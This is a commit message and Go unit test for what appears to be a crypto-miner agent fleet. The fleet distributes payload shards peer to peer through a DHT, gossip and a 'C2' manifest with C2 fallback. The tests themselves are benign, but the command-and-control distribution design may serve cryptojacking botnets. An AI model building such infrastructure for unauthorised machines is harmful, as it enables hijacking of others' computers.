Add Fleet Torrent erasure extension with shard DHT and gossip.

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.

agent/client/fleet_torrent_gossip_test.go

@@ -0,0 +1,35 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	payload, _ := json.Marshal(map[string]interface{}{
+		"records": []deploy.FleetGossipRecord{{
+			Kind: deploy.FleetGossipHaveShard, AgentID: "peer", Token: "tok",
+			ShardIndex: 1, ShardHash: "deadbeef", FetchURL: "http://peer/shard/1",
+		}},
+	})
+	c.handleFleetTorrentGossip(payload)
+	peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
+	if len(peers) != 1 || peers[0].AgentID != "peer" {
+		t.Fatalf("peers=%+v", peers)
+	}
+}
+
+func TestApplyAuthFleetTorrentPrimarySeeder(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{AgentID: "primary-1"})
+	c.applyAuthFleetTorrent(AuthResponse{
+		FleetTorrentEnabled: true,
+		SubnetPrimarySeeder: "primary-1",
+	})
+	if !c.fleetTorrentEnabledSnapshot() || !c.subnetPrimarySeederSnapshot() {
+		t.Fatal("expected fleet torrent primary seeder")
+	}
+}